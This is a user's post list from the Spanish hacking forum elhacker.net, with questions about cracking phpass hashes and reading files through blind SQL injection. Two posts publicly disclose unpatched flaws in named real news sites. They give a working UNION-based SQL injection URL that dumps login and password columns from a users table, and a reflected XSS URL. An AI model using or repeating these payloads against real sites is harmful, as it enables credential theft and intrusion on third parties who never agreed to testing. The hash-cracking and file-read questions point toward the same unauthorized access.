elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Criptografía / [Ayuda]Crackeo PHPASS en: 19 Junio 2012, 00:04 am
Hay alguna forma de crackear un hash phpass sin hashcat ya que necesito una placa nvidia con CUDA o una AMD bastante grosa.Se puede brutear con el CPU?   :¬¬
2  Seguridad Informática / Nivel Web / Re: Load_file en Blind SQL en: 20 Enero 2012, 01:54 am
Cita de: juanplaz en 19 Enero 2012, 19:05 pm
http://www.telefonica.net/web2/telamarinera/docus/blind_sql.pdf

apartado 0x8  ;D

Excelente
3  Seguridad Informática / Nivel Web / Load_file en Blind SQL en: 18 Enero 2012, 17:40 pm
Encontre una blind sql y al poner estos parametros "and (select 1 from mysql.user limit 0,1)=1" la pagina carga normalmente,y segun lo que lei(Primera blind sqli) quiere decir que tengo ciertos "Privilegios" y puedo usar Load_file y OUTFILE aunque no logre un Full Path Disclosure.Como aplico los paremetros de OUTFILE o load_file en una blind sql?
4  Seguridad Informática / Nivel Web / Re: Recopilatorio de Vulnerabilidades de XSS/SQLinjection en: 23 Julio 2011, 18:27 pm
Sitio web: http://www.elpais.cr
Descubridor: franco_tuv
Fecha de descubrimiento: 22 de Julio del 2011
Fecha de notificación: 22 de Julio del 2011
Fecha de publicación: 23 de Julio del 2011
Arreglado : No
Información adicional:
Código:
SQLI
http://www.elpais.cr/galerias.php?id=-1+union+select+1,group_concat%28login,0x3a,password%29+from+406060_elpais.usuarios--
5  Seguridad Informática / Nivel Web / Re: Recopilatorio de Vulnerabilidades de XSS/SQLinjection en: 23 Julio 2011, 18:24 pm
Sitio web: http://www.tvpublica.com.ar
Descubridor: franco_tuv
Fecha de descubrimiento: 20 de Julio del 2011
Fecha de notificación: 20 de Julio del 2011
Fecha de publicación: 23 de Julio del 2011
Arreglado : No
Información adicional:
Código:
http://www.tvpublica.com.ar/tvpublica/busqueda?searchText=%3Cscript%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/script%3E&page=1
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines